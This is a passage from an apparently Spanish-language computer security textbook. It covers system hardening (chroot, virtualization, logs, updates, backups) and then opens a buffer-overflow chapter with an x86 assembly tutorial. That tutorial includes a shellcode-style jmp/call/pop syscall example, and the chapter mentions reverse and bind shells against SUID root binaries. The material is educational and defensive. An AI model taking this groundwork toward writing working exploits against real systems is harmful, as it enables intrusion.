gusano Blaster paralizó miles de máquinas mediante un ataque de denegación de servicio. El 30 de abril de 2004, fue el gusano sasser. Un ordenador infectado descargaba un programa que se ejecutaba automáticamente sin el conocimiento del usuario. Este programa se propagaba por la red a la que accedía la máquina y provocaba reinicios constantes. Esto se podría haber evitado con los firewalls de las máquinas si hubieran estado, por defecto, correctamente configurados y con una gestión de los usuarios mejor realizada: Windows XP obligaba a establecer una contraseña para la cuenta administrador en la instalación y no hacía ejecutar sus servicios con esta identidad. Recordemos que no hay que dejar en ejecución en una máquina nada más que lo estrictamente mínimo. Acceso remoto al registro Microsoft Windows permite a los programas remotos acceder y modificar el registro mediante RPCs. Esto es muy peligroso y no tiene utilidad real en un uso normal de su ordenador. Por lo tanto, es preferible desactivar el servicio asociado en la gestión de servicios. Condiciones generales de uso Copyright - ©Editions ENI SeLinux y AppArmor SeLinux y AppArmor son software de seguridad para GNU/Linux que permiten definir en las aplicaciones políticas de control de acceso a los recursos muy afinadas: lo estrictamente necesario. Estos métodos son pesados de implantar y de mantener. Siguen sin utilizarse mucho en beneficio de la virtualización, pero puede ser interesante entretenerse un poco con ellos. Condiciones generales de uso Copyright - ©Editions ENI La virtualización La virtualización se puede definir como un conjunto de técnicas hardware o software que permiten a varias aplicaciones funcionar en una sola máquina, de forma separada las unas de las otras, como si estuvieran ejecutándose en máquinas físicas distintas. En términos de seguridad, esta solución parece óptima, debido a que cada servicio puede estar confinado y aislado. Si un ataque tuviera éxito, este aislamiento garantiza la seguridad del resto de servicios. Hay muchas soluciones de virtualización. Nuestro objetivo no es hacer un catálogo. Vamos a detallar los distintos tipos de soluciones. 1. Aislamiento Un aislador es un software que, como indica su nombre, aisla una aplicación en un contexto de ejecución. Esta solución es muy eficiente debido a que la sobrecarga de gestión es mínima, pero el aislamiento queda parcial. Vamos a ilustrar esta situación con el chroot, pero hagamos primero una breve presentación del sistema de archivos de GNU/Linux. En Windows, se asocia una letra a cada partición con el fin de tener acceso a las mismas. En GNU/Linux, el conjunto de particiones está adjunta a un único árbol. La raíz de este árbol es /, que corresponde físicamente a la partición en la que se ha instalado el sistema. Este árbol está muy jerarquizado, recordemos que todo se manipula mediante archivos:  Los periféricos se agrupan en /dev.  La información del sistema se almacena en /proc y /sys.  Los archivos de configuración global en /etc.  Los archivos necesarios en el arranque en /boot.  Los programas de sistema en /bin.  Los programas de sistema reservados al administrador en /sbin.  El directorio personal del administrador en /root.  Los directorios personales de los usuarios en /home.  Los programas de usuario en el subárbol /usr, que a su vez retoma varias entradas que están en la raiz. Todo el sistema puede funcionar en una ùnica partición de manera absolutamente transparente. En la instalación, se puede definir qué partes de este árbol se situarán en otra partición. Es la noción de punto de montaje. Por ejemplo, si deseamos que nuestros directorios personales se localicen en otra partición, montamos la partición en /home. De este modo, los discos montados puntualmente y manualmente, para realizar por ejemplo una copia de datos, se montan en /mnt. El sistema puede gestionar esto automáticamente, pero realizará los montajes en /media. Los puntos de montaje fijos se definen en el archivo /etc/fstab y los montajes se realizan con el comando mount. No explicaremos más detalles ni profundizaremos más en este asunto, la administración de GNU/Linux tampoco es nuestro objetivo. 2. La carga del raíz o chrooting El propósito es substituir la raíz del sistema por otra ruta para un determinado proceso. Una vez que la ejecución haya empezado, el proceso se pensará que la raíz es esta ruta y no podrá, teóricamente, subir en la estructura del árbol por encima de ese punto. Esto es muy práctico para asegurar un servicio. Ejemplo con el servidor ftp, ftpd: chroot /prision /usr/bin/ftpd Incluso si el servicio es vulnerable y ha sido explotado por un atacante, este último se encontrara confinado en /prision. No podrá acceder a los datos de /etc, por ejemplo. Desgraciadamente, en algunos casos, se puede salir de chroot. Por ejemplo, si el programa al que se le ha aplicado el chroot tiene privilegios para montar discos, la verdadera raíz puede ser montada en el entorno protegido. Por lo tanto se pierde la protección. Para servicios realmente críticos puede ser muy recomendable una virtualización más completa. 3. Kernel en el espacio de usuario El kernel es el corazón del sistema. Es un software crítico del sistema operativo que gestiona los recursos del ordenador y permite la comunicación entre los distintos componentes hardware y software. Un programa funciona o bien en el espacio de kernel, o bien en el espacio de usuario. El espacio de usuario admite errores y tiene mecanismos de protección: cada aplicación tiene la ilusión de tener acceso íntegro a una memoria infinita. Es justamente lo opuesto al espacio de kernel, donde un error es, generalmente, fatal. Un kernel en espacio de usuario funciona por lo tanto como cualquier otro programa. Tiene un rendimiento muy pobre, debido a que se ha apilado un kernel encima de otro. La ventaja real es que el usuario root del kernel invitado no es el mismo que el del kernel huésped. La virtualización no es por lo tanto total. Esta solución se usa sobre todo para el desarrollo. En efecto, depurar un kernel es muy difícil, pero visto que de este modo funciona como un programa normal, las herramientas estándar pueden usarse y no es necesario reiniciar la máquina. User Mode Linux implementa esta solución. 4. La máquina virtual La máquina virtual emula un entorno hardware completo. El sistema operativo invitado cree que se comunica directamente con el hardware. El aislamiento es por lo tanto total y se puede hacer funcionar cualquier sistema operativo dentro de otro, sin modificación alguna. Sin embargo, el rendimiento es muy pobre en comparación con el resto de alternativas, debido a que todo se realiza por software. VirtualBox, por ejemplo, implementa este esquema. Esta solución era la mejor, antes de la democratización de la paravirtualización. 5. La paravirtualización La paravirtualización retoma los principios de la máquina virtual y del núcleo en modo usuario. Se utiliza el hardware real y el hipervisor (un kernel anfitrión ligero y optimizado) se encarga del funcionamiento de los kernels de los sistemas operativos invitados específicamente modificados. Los sistemas operativos invitados tienen conocimiento en este caso de que están funcionando en un entorno virtualizado. Esta técnica permite alcanzar un buen rendimiento y un aislamiento completo, pero no permite virtualizar cualquier sistema operativo, debido a que tienen que ser compatibles. También existen hipervisores hardware, pero son muy caros. 6. Ejemplo de solución de paravirtualización: Proxmox VE Interfaz web de administración de Proxmox VE Proxmox VE es una solución libre, lista para funcionar, de paravirtualización. Un CD de instalación está disponible en su sitio web. La instalación es automática y muy sencilla. Una interfaz web de administración permite gestionar las máquinas virtuales y también es compatible con clústeres de máquinas virtuales. Por lo tanto es posible gestionar las máquinas virtuales de todo un parque desde la misma interfaz, y migrarlas de una máquina física a otra. El inconveniente de esta solución es que los discos duros de las máquinas invitadas no son los contenedores. Corresponden solamente a puntos de montaje en el sistema de archivos de la máquina anfitriona. Esta última es por lo tanto la clave de toda la infraestructura. Si se corrompe, el atacante tendrá acceso a los archivos de todas las máquinas invitadas. La solución consiste en permitir sólo los accesos remotos indispensables, asegurarlos suficientemente y limitar al máximo el acceso a la interfaz web (buena contraseña, par de claves pública/privada...). 7. Detección y ataque de una máquina virtual Una máquina virtual puede ser detectada... o incluso atacada desde una máquina invitada. Una máquina virtual expone periféricos virtuales que pueden dar las pistas necesarias para darnos cuenta del hecho de que no estamos en una máquina física. Por ejemplo, si vamos al Administrador de dispositivos de Windows, a la información de sistema de Mac OS X o ejecutamos el comando lshw en GNU/Linux, nos daremos cuenta de que el fabricante del hardware corresponderá al de un autor de soluciones de virtualización. En efecto, en el año 2009, un exploit de VMware Fusion permitía leer y escribir en la memoria reservada de la máquina anfitriona. Los sistemas operativos no tenían por qué ser idénticos y, de este modo, era posible corromper Mac OS X desde Windows. La virtualización por lo tanto no es infalible. Hay que mantener actualizados tanto el anfitrión como los invitados. La virtualización permite limitar los riesgos. Sin embargo, no hay que volverse paranoico y virtualizarlo todo. Se trata de medir el riesgo asociado a cada servicio, ya que la gestión es complicada y puede provocar un efecto inverso. En efecto, en vez de gestionar la seguridad de una sola máquina, hay que hacerlo de varias relacionadas, con todos los peligros que hemos estudiado hasta ahora. Además, el uso de máquinas virtuales es sinónimo de compartición de recursos, y estos últimos no son ilimitados. La inversión en máquinas físicas puede ser más eficaz que la sobrecarga de una sola y es, de hecho, más fácil tener éxito con un ataque por denegación de servicio a una plataforma con los recursos muy compartidos. La vigilancia, una buena política de actualizaciones y las copias de seguridad son nuestras mejores aliadas. Logs, actualizaciones y copias de seguridad La seguridad de un sistema no debe detenerse a la hora de aplicar los distintos consejos que hayamos podido estudiar. Se realiza todos los días, verificando el estado de salud del sistema, con el fin de tratar los primeros síntomas de debilidad, sobre todo en un entorno de producción. 1. Logs Los logs son los archivos de registro de distintos servicios que se ejecutan en el sistema. Son muy útiles para arreglar problemas cuando no puede iniciarse un servicio, pero también para comprobar los ataques, como por ejemplo un gran número de intentos fallidos de conectarse como administrador. En UNIX, se clasifican por servicio, en archivos de texto, en /var/log. Los mensajes de sistema también se pueden consultar por consola mediante el comando dmesg. En Mac OS X, puede consultar los registros con la herramienta Consola que se encuentra en el menú Herramientas de las aplicaciones. En Windows, se encuentran en el Visor de eventos, situado en las Herramientas administrativas, están clasificados por categoría y nivel de importancia. Visor de eventos de Windows Un atacante siempre intentará borrar sus huellas. Los archivos de registro vacíos tienen que parecernos sospechosos. 2. Actualizaciones Es indispensable actualizar el sistema. El lapso de tiempo entre la publicación de un fallo de seguridad, la publicación de su parche y su aplicación es crítico. Por lo tanto, es conveniente suscribirse a las listas de distribución relacionadas con la seguridad de los programas usados. Estaremos entonces informados acerca de los fallos presentados y sus parches. Y si el parche no está disponible inmediatamente, con la descripción del fallo podremos tomar las medidas adecuadas temporales de protección. Las actualizaciones automáticas permiten acortar la espera entre la publicación y la aplicación de los parches automatizando el proceso, sobre todo en un parque informático. Sin embargo, hay que supervisar que la aplicación de parches se realice correctamente, ya que la automatización no siempre es sinónimo de seguridad. a. Implantación de actualizaciones automáticas en GNU/Linux No hay una metodología, pues depende del sistema que hayamos elegido. La mayor parte de las distribuciones integran software que se encarga de esta tarea. Hay que consultar la documentación de la distribución. b. Implantación de actualizaciones automáticas en Microsoft Windows En el panel de control, la aplicación Actualizaciones automáticas permite definir la descarga y la instalación automática de parches. c. En Mac OS X Mac OS X busca por defecto las actualizaciones, pero podemos ajustar su frecuencia mediante el panel Actualización de programas en las Preferencias del sistema. 3. Copias de seguridad A estas alturas, nuestro sistema está configurado para enfrentarse, en la medida de lo posible, a las posibles amenazas. Hemos dedicado cierto tiempo en proteger nuestros recursos pero, incluso a este nivel, no estamos a salvo de la publicación de un nuevo fallo no publicado, de un error de uso o de un incendio que genera la pérdida del hardware. La implantación de una política de copias de seguridad es un requisito para poder reiniciar los servicios lo más rápido posible. Desde una simple copia en una memoria USB, hasta un archivado casi cotidiano en soporte óptico, se trata de nuevo de evaluar y adaptar la solución a la situación. Muchas herramientas libres nos ayudan, de forma gratuita, en esta etapa indispensable. Atención al modo en el que efectuaremos las copias de seguridad y a su almacenado: sería embarazoso tener un sistema seguro y que un ataque a las copias de seguridad tuviera éxito. En Mac OS X, la herramienta Time Machine implanta muy fácilmente una política de copias de seguridad incrementales con la ayuda de un disco externo extraíble o a través de la red Balance La seguridad de sistemas no es nada fácil ya que la amenaza puede tener origen en muchos sitios. La virtualización, la separación de privilegios y la definición de los permisos adecuados son por lo tanto nuestras herramientas. Pero hay que estar muy alerta, ya que un error de configuración puede comprometer la seguridad de todo el sistema. A esta parte bajo control podemos añadir los fallos de seguridad de los programas y la negligencia de los usuarios. Estos últimos tienen que estar por lo tanto bien informados e integrados en los procedimientos de seguridad. Las contraseñas tienen que elegirse inteligentemente y hay que realizar el seguimiento de las actualizaciones de los sistemas. Por último, hay que realizar una supervisión activa de los registros de sistema y de las copias de seguridad diarias, ya que son nuestras garantías en caso de ataque Generalidades Los ataques de buffer overflow son los que están más extendidos. Representan el 60 % de los ataques conocidos. Se trata de explotar un bug en la creación de áreas de memoria declaradas en el programa para provocar la ejecución de una acción no prevista. De forma general, el pirata intentará obtener un acceso remoto a la máquina víctima tomando el control en el shell (línea de comandos en Linux). Según el método utilizado, se le llamará un "bind de shell" o una "conexión inversa". Este ataque se intentará realizar contra un archivo binario que tenga el SUID root (en Linux, es un programa que se ejecuta al inicio con derechos de administrador), para elevar sus privilegios hasta ser root. Para llegar hasta ahí, hay que estar muy familiarizado con el código ensamblador, tener nociones de programación y conocer a fondo la estructura y el funcionamiento de un ordenador y, sobretodo, del microprocesador. Nociones de ensamblador 1. Introducción Hay que saber cuándo hay que escribir en ensamblador: hay momentos en los que no hay más remedio que escribir en ensamblador y otros en los que éste no es útil. El sistema operativo, así como un gran número de productos estándar, están programados de tal modo que el ensamblador es simplemente inevitable. La ingeniería inversa y los fallos de aplicación son ejemplos en donde el ensamblador está omnipresente. 2. Primeros pasos a. Aprendamos a contar Ya hemos encontrado en nuestras lecturas números expresados en hexadecimal o en binario. El binario es el lenguaje de los PC. Aunque escribamos programas en ensamblador, en C o en cualquier otro lenguaje, el PC comprende únicamente el binario, habla en binario. El hexadecimal existe para permitir a los humanos entender mejor el lenguaje del PC. b. Binario El lenguaje binario se compone de dos elementos: el 0 y el 1. Un conjunto de ocho elementos binarios se llama byte, un conjunto de dieciséis elementos binarios se llama palabra (2 bytes) y un conjunto de treinta y dos elementos binarios se llama una doble palabra (4 bytes). Los microprocesadores Intel se componen de registros. Los utilizaremos para comenzar a trabajar en ensamblador. EAX, EBX, ECX y EDX son registros de 32 bits. Contienen respecitvamente a AX, BX, CX, DX (16 bits) en sus bits de menor orden, que a su vez se componen de AH, BH, CH, DH (8 bits) en la parte alta y de AL, BL, CL, DL (8 bits) en su parte baja. A continuación mostramos un esquema que ilustra esta estructura: Los registros EAX, EBX, ECX y EDX sólo están disponibles en modo protegido (32 bits). Tomemos como ejemplo el registro EAX de 32 bits (del 0 al 31). Para designar a los 16 de menor orden, usamos AX. Podemos dividir el registro AX en dos partes: AL, los 8 bits de menor orden, y AH, los 8 bits de mayor orden. Existen más registros que veremos conforme vayamos avanzando en este capítulo. Para colocar un valor en el registro EAX, usaremos la intrucción mov. Esta instrucción permite copiar un byte o una palabra de un operando origen a otro destino. mov eax,10100101010010101001010101101101b mov ax,1011100101010101b mov al,10110101b mov bl,al En el primer ejemplo, se copia una doble palabra en EAX, en el segundo ejemplo se copia una palabra en AX, en el tercer ejemplo se copia un byte en AL y en el cuarto ejemplo se copia el contenido de AL en BL. La letra b al final de cada número indica, en ensamblador, que trabajamos en binario. Podemos, a partir de los valores en binario, encontrar el número en decimal. Para ello, basta con saber cómo se descompone un número. Tomemos como ejemplo el número 1354, que en su representación decimal se descompone del siguiente modo: 1354 = 1 x 1000 + 3 x 100 +5 x 10 + 4 x 1 = 1 x 10 3 + 3 x 10 2 + 5 x 10 1 + 4 x 10 0 El 10 corresponde a la base usada y el exponente al peso de la cifra. Vamos a aplicar el mismo método a un número binario: 101101= 1x2 5 + 0x2 4 + 1x2 3 + 1x2 2 + 0x2 1 + 1x2 0 = 1x32 + 0 + 1x8 + 1x4 + 0 + 1x1 = 32 + 8 + 4 + 1 = 45 Acabamos, por tanto, de traducir un número binario a decimal. c. Hexadecimal La base hexadecimal es una base 16, es decir, que se escribirán los números mediante 16 símbolos: las cifras de 0 a 9 y las letras de la A a la F. Vamos a usar la tabla siguiente para representar los primeros números: Para pasar de binario a hexadecimal, basta por lo tanto con reemplazar cada bloque de cuatro bits del número binario a su equivalente hexadecimal. Hacemos lo mismo para pasar de hexadecimal a binario. F54Bh =1111 0101 0100 1011 b 1101101101001b=1B69h Ejemplo de programa: mov EAX,19h; se copia 19 (en hexadecimal) en EAX add EAX,21h; se suma 21 (en hexadecimal) a 19 (en hexadecimal) mov EBX,EAX; se copia el resultado de la operación en EBX Cuando se realiza una operación con la instrucción add, el resultado de la operación se encuentra en el registro utilizado (EAX, en este caso). 3. ¿Cómo probar nuestros programas? a. Plantilla de un programa en ensamblador En las páginas siguientes, para probar nuestros programas o simplemente probar las instrucciones, usaremos la siguiente plantilla de programa que mostramos a continuación. No nos importa por el momento saber qué hace cada instrucción, lo iremos descubriendo a media que vayamos avanzando. Plantilla del programa en ensamblador: %include ’’asm_io.inc’’ segment .data ;Los datos inicializados se colocan en este segmento de datos segment .bss ;Los datos no inicializados se colocan en el segmento bss segment .text global _asm_main _asm_main: enter 0,0 pusha ;El código se ubica aquí popa mov eax,0 leave ret Bastará con reutilizar esta plantilla de código para colocar nuestro programa en los sitios indicados. Instalación en Debian: apt-get install nasm Una vez que el programa ya esté escrito y guardado con la extensión .asm (por ejemplo: primero.asm), habrá que ensamblar el código: nasm -f formato primero.asm donde formato tomará uno de los siguientes valores: coff, elf, obj o win32 según el compilador usado. No podemos, de momento, ejecutar el programa tal y como está compilado. Vamos a crear un programa en lenguaje C que nos servirá para ejecutar nuestro programa en ensamblador. ¿Por qué utilizar un programa en C para ejecutar nuestro programa en ensamblador? Porque de momento estamos empezando a programar en ensamblador y, gracias a este truco, podremos usar la biblioteca estándar de C para obtener los datos del teclado, escribir en pantalla... Programa en C: int main() { int ret_status; ret_status=_asm_main(); return ret_status; } Ahora hay que compilar el programa en C incluyendo nuestro programa en ensamblador.  Compilar: gcc -c progC.c  Montar: gcc -o primero progC.o primero.o asm_io.o De este modo, obtenemos un programa llamado primero que podremos ejecutar. Podríamos haber escrito directamente: gcc -o primero progc.c primero.o asm_io.o El include asm-io.inc se encuentra en la dirección siguiente: http://www.drpaulcarter.com/pcasm/ Este include se encuentra en el archivo linux-ex.zip en Linux o ms-ex.zip en Windows. Nos basta con descargar el archivo y ubicarlo en el directorio donde se encuentran los programas que vayamos a crear. b. Nuestro primer programa Escribimos el programa siguiente y creamos el ejecutable tal y como se ha descrito en el parágrafo anterior. %include ’’asm_io.inc’’ segment .data prompt1 db "Introduzca un número:",0 prompt2 db "Introduzca un segundo número: ",0 prompt3 db "El resultado es: ",0 segment .bss num resb 1 segment .text global _asm_main _asm_main: enter 0,0 pusha mov EAX,prompt1 call print_string call read_int mov [num],EAX mov EAX,prompt2 call print_string call read_int add EAX,[num] mov EBX,EAX mov EAX,prompt3 call print_string mov EAX,EBX call print_int popa mov eax,0 leave ret Intentemos comprender este programa. Debajo de segment .data, declaramos tres frases que nos servirán más tarde para hacerle preguntas al usuario. Debajo de segment .bss, reservamos en memoria un byte. Para mostrar un mensaje por pantalla, tenemos que poner en EAX la dirección de partida de la frase (por ejemplo: mov EAX,prompt1) y debemos llamar a continuación print_string mediante la función call. Para recuperar una pulsación en el teclado, llamamos (call) a read_int que nos colocará en EAX el valor introducido. El resto de instrucciones ya se han visto anteriormente. Puede ser que haya algo de duda con: mov [num],EAX. num es el nombre del byte que hemos reservado anteriormente. Mediante esta instrucción, ponemos el valor contenido en EAX en la celda de memoria num. Por lo tanto [num] quiere decir: contenido de la dirección de memoria num. 4. Instrucciones a. Comparación Desensamblando programas podemos observar que la instrucción cmp se utiliza a menudo. ¿Cuál es el objetivo y qué es lo que hace? El resultado de una comparación se almacena en el registro FLAGS para utilizarlo si fuera necesario más tarde. Los bits del registro FLAGS cambian de valor según el resultado de la comparación: cmp operando1, operando2 Lo que hay que comprender con cmp es que se realiza una operación entre dos operandos operando1 - operando2. El registro FLAGS adquiere un valor pero el resultado de la operación no se guarda. Los saltos que van a seguir a cmp van a "consultar" el estado de algunos bits del registro FLAGS y actuar en consecuencia. Por ejemplo si operando1 = operando2, cmp asignará al bit ZF (Zero Flag) a 1. Una cosa más, es importante no olvidarse de que hay otras instrucciones que también asignan valores al registro FLAGS. b. Instrucción IF Dado el siguiente extracto de pseudocódigo: :if (EAX==0) EBX=1; else EBX=2; Si se quiere traducir a ensamblador, obtenemos: cmp eax,0 jz bcl mov ebx,2 jmp siguiente bcl: mov ebx,1 siguiente: Nos encontramos en este ejemplo con dos nuevas instrucciones jz y jmp. jmp (jump) es lo se comúnmente se llama un salto incondicional, es decir, que si el programa llega a esta línea, sea cual sea el valor del registro FLAGS, el programa saltará a la dirección correspondiente. Es decir, en este caso saltará a la etiqueta siguiente. jz (jump if zero): con esta instrucción, el programa irá a la dirección de bcl sólo si el bit ZF del registro FLAGS tiene el valor 1. Si no, la instrucción jz se salta y es la instrucción mov ebx,2 la que se ejecuta. A continuación otro ejemplo: if(EAX>=5) EBX=1; else EBX=2; Su traducción correspondiente es: cmp eax,5 jge bcl mov ebx,2 jmp siguiente bcl: mov ebx,1 siguiente: Encontramos en este ejemplo la misma estructura que en el caso anterior. La única novedad es jge. jge (jump if greater or equal): esta instrucción permite saltar a la dirección adjunta si el resultado de la operación (cmp) es mayor o igual. c. Bucle FOR Pseudocódigo: var = 0; for(i=10;i>0;i--) var+=1; Este fragmento de pseudocódigo puede traducirse en ensamblador de la siguiente forma: mov eax,0 mov ecx,10 bcl: add eax,ecx loop bcl La instrucción loop usa el registro ecx. En efecto, para cada pasada en el loop, ecx se decrementa siempre y cuando ecx no sea igual a 0, la instrucción loop itera volviendo a empezar en bcl. Una vez que ecx sea igual a cero, loop dejará de iterar yendo a bcl y se ejecutará la instrucción siguiente (debajo de loop). Hay otras variantes de loop: LOOPE, LOOPZ que decrementan ECX y saltan a la dirección (o etiqueta) indicada si ECX es diferente de 0 y ZF igual a 1. LOOPNE, LOOPNZ que decrementan ECX y saltan a la dirección (o etiqueta) indicada si ECX es diferente de 0 y ZF igual a 0. d. Bucle WHILE While(condición) { cuerpo del bucle; } El pseudocódigo anterior se traduciría en: bcl: jxx final ;cuerpo del bucle jmp bcl final: En vez de jxx, obviamente hemos de elegir una instrucción que corresponda a la condición (je, jne, jge, jle...). e. Bucle DO WHILE Do { cuerpo del bucle; }while(condición); El pseudocódigo anterior se traduciría por: bcl: ;cuerpo del bucle ;código para posicionar FLAGS según la condición jxx bcl mismo comentario que anteriormente para jxx. La lista que se muestra a continuación proporciona todas las posibles instrucciones de salto condicional e incondicional para crear pruebas de comparación: f. Directiva %define Esta directiva se parece a la directiva #define de C. %define SIZE 100 %define ch1 dword [ebp+8] %define ch2 dword [ebp+12] Acabamos de definir tres variables (SIZE, ch1 y ch2) que van a tener valor durante todo el programa. g. Directivas de datos L1 db 0 ; byte etiquetado con L1 con un valor inicial de 0 L2 dw 1000;palabra etiquetada con L2 con un valor inicial de 1000 L3 db 110101b;byte inicializado con el valor binario 110101 L4 db 12h;byte inicializado con el valor hexadecimal 12 L5 db 17o;byte inicializado con el valor octal 17 L6 dd 1A92h;doble palabra inicializada al valor hexadecimal 1A92 L7 resb 1 ; un byte sin inicializar L8 db ’’A’’; byte inicializado con el código ASCII A L9 db 0,1,2,3 ; define 4 bytes L10 db ’s’,’a’,’l’,’u’,’d’,0; define la cadena "salud" L11 db ’salud’,0 ; ídem L10 L12 temps 100 db 0 ; equivalente a 100 (db 0) L13 resw 100 ; reserva de sitio para 100 palabras Ejemplos de uso: mov al,[L1] ; copia el byte situado en L1 en al mov eax,L1 ; EAX=dirección del byte en L1 mov [L1],ah ; copia ah en el byte en L1 mov dword [L6],1 ; asigna 1 a L6 Esto indica al ensamblador que tiene que almacenar el valor 1 en la doble palabra que comienza en L6. Los otros modificadores de tamaño son: BYTE, WORD, QWORD y TWORD. h. Entrada/Salida El lenguaje ensamblador no tiene librerías estándar. Tiene que acceder directamente al hardware o utilizar rutinas de bajo nivel proporcionadas por el sistema operativo. Es muy común que las rutinas en ensamblador usen interfaces hechas en C. Una de las ventajas es que el código ensamblador pueda utilizar las rutinas de E/S de la biblioteca estándar de C. Para utilizar estas rutinas, hay que incluir el archivo que contiene la información que el ensamblador necesita. %include’ ’asm_io.inc’’ Para utilizar una de estas rutinas de visualización, hay que cargar EAX con el valor correcto y usar la instrucción call para invocarla. Podremos utilizar: print_int Muestra en pantalla el valor de un entero almacenado en EAX. print_char Muestra en pantalla el valor de un código ASCII que está almacenado en AL. print_string Muestra el valor de una cadena de caracteres (guardada en EAX). print_nl Imprime un salto de línea. read_int Lee un entero del teclado y lo almacena en el registro EAX. read_char Lee un carácter del teclado y guarda su código ASCII en el registro EAX. Esta biblioteca también contiene algunas rutinas de depuración: dump_regs Muestra los valores de los registros y de los flags. dump_mem Muestra los valores de una cierta región de memoria. Recibe tres argumentos separados por comas (un entero usado para etiquetar la salida, la dirección que se desea mostrar y el número de parágrafos de 16 bytes que deseamos ver a partir de la dirección). dump_stack Muestra los valores de la pila del procesador. dump_math Muestra los valores de los registros del coprocesador matemático. 5. Interrupciones Las interrupciones en Linux (int 0x80) se detallan en este sitio web: http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html En la tabla encontraremos un extracto de las interrupciones de llamadas a sistema, que suelen llamarse "syscall". Ejemplo: ¡Buenos días a todo el mundo!, en C. int main() { char *string="¡Buenos días a todo el mundo!"; write(1,string,32); } Queremos, en ensamblador, obtener el mismo programa que el que acabamos de escribir en C. Para ello, tenemos que utilizar interrupciones para, por ejemplo, escribir en pantalla una frase o salir del programa (exit). En ensamblador, obtendremos el siguiente programa: Xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx jmp short string code: pop ecx mov bl,1 mov dl,32 mov al,4 int 0x80 dec bl mov al,1 int 0x80 string : call code db ’¡Hola a todo el mundo!’ La instrucción XOR eax,eax por ejemplo, simplemente sirve para poner a cero el registro eax. Poner los registros que queremos usar a cero es un buen hábito. Si miramos en la tabla de syscalls, la interrupción write es de la forma: write(1,string,32). Si se quiere utilizar la función write, hay que asignarle a al el valor 4. Pero previamente, hay que pasarle algunos argumentos. Para empezar, ¿queremos trabajar con la entrada estándar (el teclado: 0) o la salida estándar (la pantalla: 1) o bien con la salida de error (2)? Por supuesto que queremos visualizar el resultado por pantalla, por lo tanto pondremos un 1 en bl. A continuación hay que indicar el tamaño de la cadena de caracteres que queremos escribir. Para nosotros es 23, ya que hay caracteres especiales (’¡’ y ’í’ requieren más de un byte). Guardaremos este valor en dl. Todavía nos falta colocar en ecx la dirección de la cadena de caracteres. Que precisamente se hace en el ejemplo con un pequeño truco: hacemos para empezar un jmp short string que nos permitirá saltar a la etiqueta string: que realiza la llamada a code. Este mecanismo permite poner en la pila la dirección de retorno, que es la dirección de db ¡Buenos días a todo el mundo!". Una vez hemos llegado al código del subprograma, hacemos un pop ecx que permite colocar en ecx la dirección deseada. Luego, podemos llamar a la interrupción int 0x80 que escribirá en pantalla la frase deseada. La interrupción int 0x80 se utiliza también para salir del programa (exit()) colocando el valor 0 en bl (dec bl que valía 1) y colocando un 1 en al. 6. Subprogramas En un lenguaje de alto nivel, la creación de unidades funcionales, llamadas funciones, procedimientos o subprogramas es importante. Todo problema complejo tiene que dividirse en tareas elementales que permiten comprenderlo mejor, implementarlo y probarlo. Hay dos instrucciones que nos serán útiles: call y ret. La instrucción call realiza un salto incondicional a un subprograma y apila la dirección siguiente. La instrucción ret desapila una dirección y salta a esta dirección. La instrucción call permite realizar llamadas a subprogramas haciendo que el procesador continúe la ejecución en otra línea diferente de la siguiente a esta instrucción call. El cuerpo del subprograma incluye como respuesta una instrucción ret que permite volver a la instrucción siguiente del call. Desde un punto de vista técnico, la instrucción call provoca el posicionamiento de la dirección de retorno en la pila y copia la dirección del subprograma que debe llamarse en el puntero de código. Una vez que el subprograma termina su ejecución, su instrucción ret provoca el desapilamiento de la dirección de retorno en el puntero de código. El procesador ejecuta siempre la instrucción cuya dirección se indica en EIP. La estructura de un subprograma es la siguiente: subp: push ebp ;apila el valor original de ESP mov ebp,esp ;EBP=ESP sub esp,bytes_locaux ; número de bytes necesarios para las ; variables locales ; instrucciones del subprograma mov esp,ebp ;desaloja las variables locales pop ebp ;restaura el valor original de ESP ret La llamada al subprograma desde el programa principal o desde otro subprograma será: call subp Los parámetros de subprograma pueden pasarse por la pila. Tienen que apilarse antes de la instrucción call. Si el parámetro puede ser modificado por el subprograma, tiene que pasarse la dirección del dato, no su valor. Si el tamaño del parámetro es inferior a una doble palabra, tiene que convertirse en double antes de apilarse. 7. Heap y pila a. Heap El heap es la región de memoria dedicada a la asignación dinámica de memoria. Gestionar dinámicamente la memoria significa que se puede asignar o liberar regiones de memoria a voluntad dentro del límite de recursos disponibles. El heap no se usa a menudo en ensamblador ya que para utilizarlo con eficacia es necesario tener motores de asignación y de liberación de memoria. Estos motores de asignación son simplemente funciones, tales como malloc()/free() disponibles en toda librería C. No es momento de recordar las funciones de gestión de memoria en ensamblador. Los algoritmos existentes (las elecciones varían de un sistema a otro) están optimizados y recordarlos requiere nociones de programación específicas (como por ejemplo las listas enlazadas). De hecho, como principiantes, no usaremos nunca el heap, excepto si sabemos estrictamente para qué lo vamos a hacer. Haremos asignaciones de memoria principalmente en la pila. b. Pila La pila (stack) es la región de memoria más útil de un programa. Se sitúa siempre, sea cual sea el sistema usado, en la región de memoria más alta. Desde un programa la memoria se ve con una forma lineal. Empezando en la dirección 0x0 hasta la dirección 0xFFFFFFFF, son más de cuatro GigaBytes de memoria que parecen estar disponibles. Que "parecen" porque en realidad el sistema operativo utiliza regiones de memoria en este conjunto, dejándolos ocupados. De igual manera, las librerías cargadas por la aplicación utilizan también regiones de memoria de este espacio virtual. Un programa que olvide la localización de la pila, usará a ciegas la ubicación que se le proporcione. Esto le servirá para apilar datos, como variables temporales de una subfunción, o incluso las direcciones de retorno de una función. Nuestro objetivo es explicar la utilidad de la pila en el marco del desarrollo en ensamblador. La pila servirá en el código para:  Guardar valores numéricos en memoria (números, direcciones) para liberar registros.  Guardar registros antes de llamar a una subfunción que puede que los modifique.  Transmitir y recuperar argumentos de una función.  Reservar buffers (para copias de cadenas de caracteres, por ejemplo).  Llamar a y volver de funciones. Cuando usamos la pila, apilamos los datos por abajo. Dicho de otro modo, la pila crece hacia las direcciones bajas. Haciendo una metáfora, imaginemos una pila de platos puesta en el suelo. Ahora, cuélguela del techo. Cualquier nuevo plato que se añada a esta pila, se añadirá por abajo. Debajo de la pila sólo hay aire (una parte del espacio de memoria virtual está vacío debajo de la pila) y el suelo es la próxima región de memoria usada. La pila no se extenderá más allá del suelo. La pila se expande hacia abajo, pero se accede a ella, sin embargo, como cualquier otra región de memoria: de las direcciones más bajas a las más altas. La instrucción que permite añadir un plato (un dato) es Push. La instrucción que permite quitar un dato es Pop. Push espera un argumento (un registro, si se quiere meter el contenido de un registro en la pila o un valor inmediato, es decir, un número). Pop espera un registro como argumento (el valor obtenido de la pila se transfiere al registro). Observemos que sólo se apilan y desapilan datos de dos o cuatro 